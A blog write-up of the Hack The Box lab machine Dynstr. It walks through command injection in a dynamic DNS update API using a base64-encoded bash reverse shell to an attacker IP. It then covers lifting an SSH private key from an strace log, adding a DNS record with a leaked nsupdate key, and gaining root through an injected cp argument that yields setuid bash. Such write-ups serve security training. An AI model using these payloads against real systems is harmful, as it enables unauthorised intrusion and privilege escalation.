HTB / Linux

Hack The Box Dynstr Writeup

October 16, 202113 min read
Dynstr machine

Dynstr is classified as a medium-level machine on HackTheBox. Initially, we encounter a static website for a Dynamic DNS service, which conceals multiple hidden directories. Through recursive scanning using gobuster, we uncover an API that is interactable. Following a thorough investigation, we discover a method to obtain a reverse shell. Additionally, an inadvertently exposed DNS secret key file enables us to insert our attacker IP and gain SSH access. Finally, we exploit a poorly written script to grant bash a sticky bit, thereby escalating privileges to root. Let us go ahead and find our way into it.

Enumeration

As always we start by inspecting the wire :)

┌──(kali㉿kali)-[~]$ sudo nmap -sC -sV -p- 10.10.10.244 --min-rate 10000 -oA dynstr

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_  256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open  domain  ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

With the following results we see ports 22, 53, 80 open. We can staart poking around port 80 and see what we can find.

Website Enumaration

Alt text

We find a static website about dynamic DNS, there looks to be some useful information though.

Alt text Scrolling down we see a list of credentials and Domains that we definetly need to make note of. They can come in handy. Alt text

After scouring the website we could not find anything more useful that could help us come any further.

┌──(kali💀kali)-[~/htb/dynstr]
└─# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dyna.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/10/01 16:39:49 Starting gobuster in directory enumeration mode
===============================================================
http://dyna.htb/assets               (Status: 301) [Size: 305] [--> http://dyna.htb/assets/]
http://dyna.htb/nic                  (Status: 301) [Size: 302] [--> http://dyna.htb/nic/]  
===============================================================
2021/10/01 16:48:43 Finished
===============================================================

Looking at the results we find that an interesting directory at nic we can do a further enumeration with a bruteforce.

┌──(kali💀kali)-[~]
└─# gobuster -t 100 dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dyna.htb/nic
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dyna.htb/nic
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/10/01 16:40:43 Starting gobuster in directory enumeration mode
===============================================================
http://dyna.htb/nic/update               (Status: 200) [Size: 8]
===============================================================
2021/10/01 16:49:40 Finished
===============================================================

Inside the nic directory we find another directory update. Loading it up we get a badauth message. Alt text

I was about to lose hope while searching to get the meaning of what it could mean. Luckily found an article here that gave some insight of what the message could mean.

This response code is returned in case of a failed authentication for the 'request'. Please note that sending across an invalid parameter such as an unknown domain name can also result in this 'response code'

API Investigation

Here our apptication tried to authenticate via a GET request to /nic/update path with parameter; mostly interesting with some Username and password . Previously I found some Username , Password and Email . But how to do that? This article gave some good and workable method. So, let’s try.

Initial Foothold

From our previous article, I realised that two parameters were needed for this game: hostname and my-ip . Besides the username:password had to be given in base64 encoded format.

Alt text I had to go through one by one for each domain we found during our inital enumeration.

dnsalias.htb Alt text dynamicdns.htb Alt text no-ip.htb Alt text

We got 911 [wrongdom: htb] for most of our domains we were trying. Which begged the question what if we gave in character into the hostname before any inaccessible domain.

Alt text

it replied with good <IP> response. So, this field was vulnerable. Now time to do some code execution. I took a bash one-liner for reverse shell, base64 encode that and put in that field. Next we had to coook our shell in a base64 one-liner.

Alt text

Put that encoded string in the same command as before to echo, decode then pass to bash. URL encode it:

┌──(kali💀kali)-[~]
└─# python3 -c "import urllib.parse; print(urllib.parse.quote('\`echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg==  | base64 -d | bash\`'))"
%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60

We can use burpsuite or curl to pass it to the box and meanwhile spawn netcat to catch a shell. I chose to use curl for this one.

┌──(kali💀kali)-[~/htb/dynstr]
└─# curl "http://dyna.htb/nic/update?myip=10.10.14.214&hostname=%60echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4yMTQvNDQ0NCAwPiYxCg%3D%3D%20%20%7C%20base64%20-d%20%7C%20bash%60.no-ip.htb" -H "Authorization: Basic ZHluYWRuczpzbmRhbnlk"

On our kali box we listen to catch the shell:

┌──(kali💀kali)-[~/htb/dynstr]
└─# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.10.244] 51504
bash: cannot set terminal process group (795): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ 

From here we can list anything we find useful in these directories like users.

www-data@dynstr:/home/bindmgr$ ls -la
total 36
drwxr-xr-x 5 bindmgr bindmgr 4096 Mar 15 20:39 .
drwxr-xr-x 4 root    root    4096 Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr    9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3771 Feb 25  2020 .bashrc
drwx------ 2 bindmgr bindmgr 4096 Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr  807 Feb 25  2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr   33 Jun  9 11:50 user.txt

we were not able to read the contents of user.txt, but could access the support-case-C62796521 and .ssh directories. Support case sounds interesting, let’s look in there:

www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13  2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13  2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13  2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13  2021 strace-C62796521.txt

Looking at the four files the command-output on shows us this:

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat command-output-C62796521.txt
<SNIP>
* Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
* SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
* SSH authentication methods available: publickey,password
* Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
* Using SSH private key file '/home/bindmgr/.ssh/id_rsa'

It mentions sftp.infra.dyna.htb, which must relate the the infra.key we found earlier. It also shows that the ssh keys held in the users home .ssh folder where used to connect. Looking at the strace file we find this amongst the long output:

www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13  2021 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr  29312 Mar 13  2021 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr   1175 Mar 13  2021 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13  2021 strace-C62796521.txt

Looking at the four files the command-output on shows us this:

www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat strace-C62796521.txt
<SNIP>
15123 getrusage(RUSAGE_SELF, {ru_utime={tv_sec=0, tv_usec=31761}, ru_stime={tv_sec=0, tv_usec=36298}, ...}) = 0
15123 clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=68154027}) = 0
15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAE
bm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37
HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwi
OM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\
nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbD
5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIO
CJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
15123 read(5, "", 4096)                 = 0
15123 close(5)                          = 0
15123 write(2, "*", 1)                  = 1
15123 write(2, " ", 1)                  = 1
15123 write(2, "SSH public key authentication failed: Callback returned error\n", 62) = 62
15123 getpid()                          = 15123
15123 getrusage(RUSAGE_SELF, {ru_utime={tv_sec=0, tv_usec=32028}, ru_stime={tv_sec=0, tv_usec=36604}, ...}) = 0
15123 clock_gettime(CLOCK_PROCESS_CPUTIME_ID, {tv_sec=0, tv_nsec=68639024}) = 0

SSH Private Key

In the middle of the file we see a SSH private key, we can copy that to a file on Kali for later.

┌──(kali💀kali)-[~/htb/dynstr]
└─# echo '-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXk<SNIP>+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n' | sed 's/:/\n/g'
-----BEGIN OPENSSH PRIVATE KEY-----
TbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A
<SNIP>
rlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG
jGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

I tried to list the contents of .ssh directory here and noticed we did not have permission to read contents of the id_rsa file but since we had obtained a copy of the private key it was not going to be necessary. So I had to look in the authorized_keys instead and found this:

www-data@dynstr:/var/www/html/nic$ cat /home/bindmgr/.ssh/authorized_keys
cat /home/bindmgr/.ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen

We see an unusual piece from line at the start on the file. After doing some research I found this article that elaborated it.

Everything now falls in to place. We have the public and private key for the bindmgr user. We have authorized_key file that requires us to connect from the infra.dyna.htb zone. We have the infra.key file containing the secret needed to perform an nsupdate.

So we just need to add our Kali IP in to the infra DNS zone so we can connect via SSH. To do this we use nsupdate which we saw earlier in the update script:

www-data@dynstr:/etc/bind$ nsupdate -k infra.key
nsupdate -k infra.key
> update add pencer.infra.dyna.htb 86400 A 10.10.14.214
> 
> update add 214.14.10.10.in-addr.arpa 86400 PTR pencer.infra.dyna.htb
> show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id:      0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
214.14.10.10.in-addr.arpa. 86400 IN     PTR     pencer.infra.dyna.htb.

> send
> quit

Switch back to Kali and we should be able to login using the private key we copied across earlier:

┌──(kali💀kali)-[~/htb/dynstr]
└─# ssh -i id_rsa bindmgr@dyna.htb
The authenticity of host 'dyna.htb (10.10.10.244)' can't be established.
ECDSA key fingerprint is SHA256:443auWJe5iDH5JBCq/9ir4ToxZ5PTzTv7XvRSYrz0ao.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dyna.htb,10.10.10.244' (ECDSA) to the list of known hosts.
Last login: Tue Jun  8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ 

with this login we were able to grab the user flag. Now it was time for that privilege escalation.

Privilege Escalation

We can start this by listing the current permission this user has with sudo.

bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
    

Gave that user bindmgr could run /usr/local/bin/bindmgr.sh without password. Next thing we check the script. Let’s look what this bindmgr.sh script does. This first section sets the paths and checks if a file called .version exists in the $BINDMGR_DIR folder:

 bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash
<SNIP>
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

Now it creates a list of all files in named.bindmgr folder:

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

This is the vulnerable bit. Here it is copying all the files to /etc/bind/named.bindmgr, but it uses * so we can put any file in and it will append to a single cp copy:

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/

Following that, the script proceeds to perform cleanup tasks. We'll generate a file named .version containing the number one as its content, then execute the script to observe the outcome.

bindmgr@dynstr:~$ cd /dev/shm

bindmgr@dynstr:/dev/shm$ echo "1" > .version

bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found

bindmgr@dynstr:/dev/shm$ ls -lsa /etc/bind/named.bindmgr/
4 -rw-r--r-- 1 root bind    2 Oct  6 23:11 .version

Staging Files

Alright, we crafted a file named .version in /dev/shm, executed the script with root privileges, and observed that the file was copied to /etc/bind/named.bindmgr, owned by root. Understanding that the asterisk (*) in the script implies it will gather all files in the current directory and concatenate them into a single command line, we can exploit this behavior by staging files to grant us a bash shell, allowing execution as our user within the root context. First we want to copy bash in to our working folder /dev/shm and set the SETUID bit on it. SETUID is defined as:

s (setuid) means set user ID upon execution. If setuid bit turned on a file, user executing that executable file gets the permissions of the individual or group that owns the file.

Then we need to create another file called –preserve=mode, it doesn’t need any contents. This is because when the script copies bash it will remove the setuid bit we’ve just set. We shall do this by:

bindmgr@dynstr:/tmp/tmp$ cp /bin/bash .
bindmgr@dynstr:/tmp/tmp$ chmod +s bash
bindmgr@dynstr:/tmp/tmp$ echo "" > "--preserve=mode"

bindmgr@dynstr:/dev/shm$ ls -lsa
total 1164
   0 drwxrwxrwt  2 root    root        100 Oct  6 23:21  .
   0 drwxr-xr-x 17 root    root       3940 Oct  6 20:57  ..
1156 -rwsr-sr-x  1 bindmgr bindmgr 1183448 Oct  6 23:20  bash
   4 -rw-rw-r--  1 bindmgr bindmgr       1 Oct  6 23:21 '--preserve=mode'
   4 -rw-rw-r--  1 bindmgr bindmgr       2 Oct  6 23:10  .version

bindmgr@dynstr:/dev/shm$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: cannot stat '*': No such file or directory
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors: 
    /etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/*: file not found

bindmgr@dynstr:/dev/shm$ cd /etc/bind/named.bindmgr
bindmgr@dynstr:/etc/bind/named.bindmgr$ ls -lsa
total 1168
   4 drwxr-sr-x 2 root bind    4096 Oct  6 23:21 .
   4 drwxr-sr-x 3 root bind    4096 Oct  6 23:21 ..
1156 -rwsr-sr-x 1 root bind 1183448 Oct  6 23:21 bash
   4 -rw-rw-r-- 1 root bind       2 Oct  6 23:21 .version

It worked and we can see bash has been copied to the folder, it’s owned by root but still has the s bit set so we can execute it as our user:

bindmgr@dynstr:/etc/bind/named.bindmgr$ ./bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# cat /root/root.txt
<HIDDEN>

This was one of those boxes that took me 2 days to figure out. But was the effort in the end. Hope you enjoyed it too!

dynstrHack the boxWriteupBlog

This website uses cookies 🍪